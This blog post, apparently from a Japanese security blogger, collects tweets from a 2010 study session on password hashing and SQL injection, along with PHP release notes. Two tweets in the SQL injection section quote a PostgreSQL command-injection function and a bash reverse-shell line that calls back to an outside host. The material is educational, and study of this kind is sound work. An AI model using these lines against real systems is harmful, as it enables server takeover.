fc2ブログ

12月10~11日のtwitterセキュリティクラスタ

まっちゃ445があったりして、ツイートが貯まっているので日曜日なのに更新してみました。

土曜日にはまっちゃ445が開催されました。興味深そうな話が並んで行きたかったなあと。
まずはECナビ春山さんのパスワードのお話。
matsuu: #matcha445 パスワードを破られにくくする方法を話します。次の2点が望ましい。パスワード情報が漏れないこと、ユーザーが強いパスワードをつけること

matsuu: #matcha445 ユーザーが強いパスワードをつけるのが望ましいが、現実難しい。万が一漏れてしまった場合でも大丈夫な対策を考える。漏れるのはサーバ側からの話かな?

matsuu: #matcha445 パスワードの常識(?)はsaltをつけてハッシュになっている。まずUNIXの仕組みからみていく

matsuu: #matcha445 GNU/Linuxの場合、/etc/shadowにパスワード情報を保存。形式は$id$salt$hashed。idはハッシュ形式、1はmd5、5はSHA-256、6はSHA512

matsuu: #matcha445 saltはハッシュをかきまぜるためにある。saltがなぜ必要か、レインボーテーブルを利用した攻撃が可能になるため。レインボーテーブルは検索するとたくさん出てくる。Free Rainbow Tablesなど

matsuu: #matcha445 WindowsにはLMハッシュ、NTLMハッシュの2つを使ってるが、どちらもsaltが使われてない。レインボーテーブルにもし載ってるなら速攻で破られる。

matsuu: #matcha445 例えばMD5 rainbow tablesは6文字までで5GBぐらい。他にもNTLM rainbow tables, SHA1 rainbow tablesなど。

matsuu: #matcha445 MD5 rainbow tablesの実験。案外早くパスワードを割り出された。salt使わない場合怖い。

matsuu: #matcha445 ハッシュは繰り返しかけます。stretchingという。salt注入はsaltingというらしい。

matsuu: #matcha445 ストレッチングは認証時の負荷は大したレベルではないが、総当たり攻撃する側にとっては負荷が大きい。

matsuu: #matcha445 UNIXは何故ハッシュ方式にしたのか、可逆にしなかったのか。安全に鍵の管理するのが難しい。バックアップから簡単に復元できたらこまりますからね。ですね。

matsuu: #matcha445 なぜsaltはユーザー毎に異なる必要があるのか。同じパスワードだと同じハッシュになってしまうから

matsuu: #matcha445 伝統的なunixではsaltが12bitだった。これは小さすぎた。レインボーテーブルが存在する。現在は96(256?)bitになってる

matsuu: #matcha445 Webシステムだとどうか。パスワード情報と鍵を別に管理可能です。例えば鍵と情報を別サーバに記録すればいい。UNIX(スタンドアロン)よりもパスワード情報と鍵が共に漏洩するリスクは小さくできる。

matsuu: #matcha445 Webシステムでのリスクはパスワード情報の保存に関するリスクのみ。なるほど。なんでもかんでもハッシュ脳じゃなくていいよ。俺ハッシュ脳だ。

matsuu: #matcha445 いくつか方法が。 共通鍵暗号、ハッシュ+暗号、鍵付きハッシュ。鍵付きハッシュ例はHMACなど。


資料はここで公開されているそうです。
haruyama: #matcha445 の資料 http://haruyama.github.com/445_14_20101211/ パスワードの話



次に佐名木さんのSQLインジェクションなお話。
matsuu: #matcha445 アクセス制御を分離しましょう。最低でもSELECTとINSERT/DELETE/UPDATEは分けましょう

matsuu: #matcha445 SQLインジェクションの対策はSQLエスケープとバリデーション。文字列リテラルの場合は'を''へ、DBMSによっては\は\\へ。でもこれはPreparedStatement、バインド機能、パラメータ変数、O/Rマッピングなどをつかいましょうね。

matsuu: #matcha445 O/Rマッピングでできないことはprepareをつかいましょうね。大切なお願いです

matsuu: #matcha445 例 SELECT * FROM testtbl WHERE myName='coffee'; coffeeをcoffee'としてエラーになったらヤバい。coffee''でエラーが出なかったらヤバい確定。

matsuu: #matcha445 方言の違いを応用してインジェクションでDBの推測ができる。文字列結合演算子で判定するなら||, &, +など

matsuu: #matcha445 MySQLはシングルクォートだけでなくダブルクォートでも囲める変態なので"でインジェクションできる場合もある。

matsuu: #matcha445 MySQLはバージョンごとのコメント機能があるのでコメント機能を使ってバージョンまで調べることができる。

matsuu: #matcha445 MySQLのENCRYPT()関数はUNIXだと正しく動くが、WindowsだとNULLが返ってくる。これを使ってOSを推定することができる。まぁMySQLってなんて便利なんでしょう

kakoi_ferment: MySQLはコメントを使用してバージョンごとに動作を指定可能。 SQL文にコメントを仕込めばバージョンの特定まで可能。 #matcha445

matsuu: #matcha445 PostgreSQL判定法。current_dateやnow関数を使えば可能

matsuu: #matcha445 数字を入力するパターン。数式を入力することでインジェクションができるか判断できる


matsuu: #matcha445 UNIONで攻撃しようとしても、フィールド数を合わせないといけないし事前カウントしてる場合があるので攻撃する際には使いにくいですよ。

matsuu: #matcha445 PostgreSQL7でSQLインジェクションがあってpostgresユーザを使ってる場合、CREATE FUNCTIONでコマンドインジェクションが可能。

matsuu: #matcha445 CREATE FUNCTION systemExec(name) RETURNS integer AS '/lib/libc.so.6','system' LANGUAGE C STRICT; ってのをインジェクションすればok

matsuu: #matcha445 んでSELECT systemExec('bash -i >& /dev/tcp/192.168.xx.xx/80 0>&1');とかやるとアウトー

matsuu: #matcha445 PostgreSQLはマイナー。使ってるお客様が少ない。PostgreSQLのポートをグローバルに晒してても全然アタックされなかったらしい。PostgreSQLェ

sagami22: PostgresSQLはポート開けてもスキャンすら来ない #matcha445



ITSec_JPってのがあるんですね。見た限りなんかボットっぽいですが。
matsuu: #matcha445 ITセキュリティに関する情報であればどんどん #ITSec_JP に流してくださいね。 @ITSec_JP もよろしく!



php5.3.4がリリースされた模様です。5.2台のサポートはもう終わるっぽいですがどうなるのでしょう。
yohgaki: php 5.3.4でsetsymbolの脆弱性が修正されたけど、もうgetsymbolの脆弱性が追加された。

yohgaki: あれ、よく見たらgetsymbolの件がリリースノートに書いてないですね。スタックオーバーフローだったような気がするけど。

yohgaki: http://ow.ly/3mSjL というバグが5.2.15には入っているのでご注意ください。いきなりエラーとなってしまうアプリもあるはずです。



その他気になったことはこのあたり。
netagent_jp: ブログに「IE8+jQueryによるクロスドメイン通信とXDomainRequestラッパーの作成」を公開しました。JS Advent Calendar 参加記事です。 http://www.netagent-blog.jp/archives/51509761.html


miryu: 同感だな。ログイン成功したらデータ全部奪って終わり。 > 「自分がそこにいると警告することなく長い時間をかけて盗聴するような受動的な攻撃者を想定している。しかし、今日では多くの場合その想定は通用しない。 / When to Change… http://htn.to/kEbLUY


07c00: 来週土曜日に、0と1しか興味ない人のためのマルウェア分析会(http://www.netagent-blog.jp/archives/51505943.html)があります。興味ある方はぜひご参加ください。#01binarians


スポンサーサイト



テーマ : セキュリティ
ジャンル : コンピュータ

コメントの投稿

非公開コメント

プロフィール

bogus

Author:bogus
FC2ブログへようこそ!

最新記事
最新コメント
最新トラックバック
月別アーカイブ
カテゴリ
検索フォーム
RSSリンクの表示
リンク
ブロとも申請フォーム

この人とブロともになる

QRコード
QR
カレンダー
06-2023
SUN MON TUE WED THU FRI SAT
- - - - 1 2 3
4 5 6 7 8 9 10
11 12 13 14 15 16 17
18 19 20 21 22 23 24
25 26 27 28 29 30 -

05   07